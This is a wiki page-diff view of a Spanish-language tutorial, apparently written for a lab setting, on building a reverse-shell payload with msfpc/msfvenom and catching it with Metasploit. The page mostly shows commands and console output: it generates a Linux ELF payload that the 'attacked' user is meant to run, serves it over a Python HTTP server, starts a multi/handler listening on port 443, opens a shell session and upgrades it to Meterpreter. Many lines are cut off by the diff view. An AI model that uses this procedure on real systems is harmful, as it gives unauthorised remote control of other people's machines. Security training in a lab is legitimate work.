reverse_shell_with_metaexploit
Differences
This shows you the differences between two versions of the page.
| Next revision | Previous revision | ||
| reverse_shell_with_metaexploit [2018/06/13 20:32] – creado jorpilo | reverse_shell_with_metaexploit [2018/08/30 04:07] (current) – jorpilo | ||
|---|---|---|---|
| Line 1: | Line 1: | ||
| - | H1. Reverse shell with metaexploit | + | ====== |
| + | Jorge Pinilla López | ||
| + | |||
| + | 2018/ | ||
| + | |||
| + | Vamos a crear un reverse shell y a usarlo mediante un payload, metaexploit y meterpreter | ||
| + | |||
| + | ===== Creación de la payload ===== | ||
| + | Para crear la payload usaremos mfsvenom, pero para simplificar se usará msfpc el cual es un wrapper que facilita la creación de payloads. (https:// | ||
| + | |||
| + | Opciones por defecto: | ||
| + | *Port 443 | ||
| + | *MSF | ||
| + | *REVERSE | ||
| + | *STAGELESS | ||
| + | *TCP | ||
| + | Ejemplo de uso: | ||
| + | < | ||
| + | ./msfpc.sh Linux | ||
| + | [*] MSFvenom Payload Creator (MSFPC v1.4.4) | ||
| + | |||
| + | [i] Use which interface - IP address?: | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | [?] Select 1-4, interface or IP address: 2 | ||
| + | |||
| + | | ||
| + | [i] PORT: 443 | ||
| + | [i] TYPE: linux (linux/ | ||
| + | | ||
| + | --platform linux -a x86 -e generic/ | ||
| + | > '/ | ||
| + | |||
| + | [i] linux shell created: '/ | ||
| + | |||
| + | [i] MSF handler file: '/ | ||
| + | [i] Run: msfconsole -q -r '/ | ||
| + | [?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080 | ||
| + | [*] Done! | ||
| + | </ | ||
| + | |||
| + | Posibles payloads a generar: | ||
| + | *APK | ||
| + | *ASP | ||
| + | *ASPX | ||
| + | *Bash [.sh] | ||
| + | *Java [.jsp] | ||
| + | *Linux [.elf] | ||
| + | *OSX [.macho] | ||
| + | *Perl [.pl] | ||
| + | *PHP | ||
| + | *Powershell [.ps1] | ||
| + | *Python [.py] | ||
| + | *Tomcat [.war] | ||
| + | *Windows [.exe /.dll] | ||
| + | |||
| + | Esto genera dos archivos: | ||
| + | |||
| + | *linux-shell-staged-reverse-tcp-443.elf | ||
| + | |||
| + | Archivo que el atacado debe ejecutar | ||
| + | |||
| + | *linux-shell-staged-reverse-tcp-443-elf.rc | ||
| + | |||
| + | Payload para multi/ | ||
| + | |||
| + | ==== Trucos: ==== | ||
| + | Generar un servidor de ficheros rapidos en el directorio | ||
| + | |||
| + | < | ||
| + | python2 -m SimpleHTTPServer 8080 | ||
| + | </ | ||
| + | |||
| + | Ejecutar metaexploit con todo configurado | ||
| + | < | ||
| + | #Copiado de la salida de msfpc | ||
| + | sudo msfconsole -q -r '/ | ||
| + | </ | ||
| + | ===== Creación del handler ===== | ||
| + | Usando el codigo que genra msfpc | ||
| + | < | ||
| + | bash$> sudo msfconsole -q -r '/ | ||
| + | [*] Processing / | ||
| + | resource (/ | ||
| + | resource (/ | ||
| + | PAYLOAD => linux/ | ||
| + | resource (/ | ||
| + | LHOST => 192.168.200.10 | ||
| + | resource (/ | ||
| + | LPORT => 443 | ||
| + | resource (/ | ||
| + | ExitOnSession => false | ||
| + | resource (/ | ||
| + | [*] Exploit running as background job 0. | ||
| + | |||
| + | [*] Started reverse TCP handler on 192.168.200.10: | ||
| + | </ | ||
| + | |||
| + | Esto configura el handler y lanza el trabajo en background 0 | ||
| + | < | ||
| + | msf exploit(multi/ | ||
| + | |||
| + | Background Threads | ||
| + | ================== | ||
| + | |||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | | ||
| + | </ | ||
| + | |||
| + | Cuando el atacado abre el archivo genera una nueva sesion en metaexploit, | ||
| + | < | ||
| + | msf exploit(multi/ | ||
| + | [*] Sending stage (36 bytes) to 192.168.200.164 | ||
| + | [*] Command shell session 1 opened (192.168.200.10: | ||
| + | |||
| + | msf exploit(multi/ | ||
| + | |||
| + | Active sessions | ||
| + | =============== | ||
| + | |||
| + | Id Name Type | ||
| + | -- ---- ---- | ||
| + | 1 shell x86/ | ||
| + | |||
| + | </ | ||
| + | |||
| + | Como podemo ver es una sesión de linux shell, para acceder a la sessión ejecutamos | ||
| + | |||
| + | < | ||
| + | msf exploit(multi/ | ||
| + | </ | ||
| + | |||
| + | y tendremos un shell en la maquina atacada. | ||
| + | |||
| + | ===== Meterpreter ===== | ||
| + | Vamos a ir un paso más y vamos a transformar dicha sesión de shell en una sesión de meterpreter, | ||
| + | < | ||
| + | msf exploit(multi/ | ||
| + | msf post(multi/ | ||
| + | SESSION => 1 | ||
| + | msf post(multi/ | ||
| + | |||
| + | [*] Upgrading session ID: 1 | ||
| + | [*] Starting exploit/ | ||
| + | [*] Started reverse TCP handler on 192.168.200.10: | ||
| + | [*] Sending stage (853256 bytes) to 192.168.200.164 | ||
| + | [*] Meterpreter session 2 opened (192.168.200.10: | ||
| + | [*] Command stager progress: 100.00% (773/773 bytes) | ||
| + | [*] Post module execution completed | ||
| + | </ | ||
| + | |||
| + | Si ahora vamos a sessions observamos las dos sesiones, podemos acceder a la session 2 de meterpreter: | ||
| + | < | ||
| + | msf post(multi/ | ||
| + | |||
| + | Active sessions | ||
| + | =============== | ||
| + | |||
| + | Id Name Type | ||
| + | -- ---- ---- | ||
| + | 1 shell x86/ | ||
| + | 2 | ||
| + | |||
| + | msf post(multi/ | ||
| + | [*] Starting interaction with 2... | ||
| + | |||
| + | meterpreter > | ||
| + | |||
| + | </ | ||
| + | |||
reverse_shell_with_metaexploit.1528921948.txt.gz · Last modified: by jorpilo
